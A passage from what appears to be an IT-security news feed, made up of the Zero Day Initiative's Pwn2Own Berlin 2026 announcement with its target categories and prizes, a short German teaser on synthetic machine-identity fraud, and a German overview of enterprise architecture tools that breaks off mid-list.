  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
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<title><![CDATA[Synthetische Machine-Identitäten: So entsteht Identitätsbetrug ohne echte Opfer]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Synthetischer Identitätsbetrug trifft Unternehmen nicht nur auf Menschen, sondern auch auf Maschinen-Identitäten. Angreifer können neue Service- oder Admin-Identitäten so konstruieren, dass sie wie legitime Konten wirken und unbemerkt Rechte ansammeln. Weil es kein „gestohl...]]></description>
<link>https://tsecurity.de/de/3694463/it-security-nachrichten/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694463/it-security-nachrichten/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-synthetic-machine-identities-service-account-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Synthetischer Identitätsbetrug trifft Unternehmen nicht nur auf Menschen, sondern auch auf Maschinen-Identitäten. Angreifer können neue Service- oder Admin-Identitäten so konstruieren, dass sie wie legitime Konten wirken und unbemerkt Rechte ansammeln. Weil es kein „gestohlenes“ Konto gibt, feuern klassische Warnmechanismen häufig zu spät oder gar nicht. Besonders Agentic KI senkt die Hürde, […]</p>
<div><a href="https://www.it-boltwise.de/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer.html">... den vollständigen Artikel <strong>»Synthetische Machine-Identitäten: So entsteht Identitätsbetrug ohne echte Opfer«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/synthetische-machine-identitaeten-so-entsteht-identitaetsbetrug-ohne-echte-opfer.html">Synthetische Machine-Identitäten: So entsteht Identitätsbetrug ohne echte Opfer</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



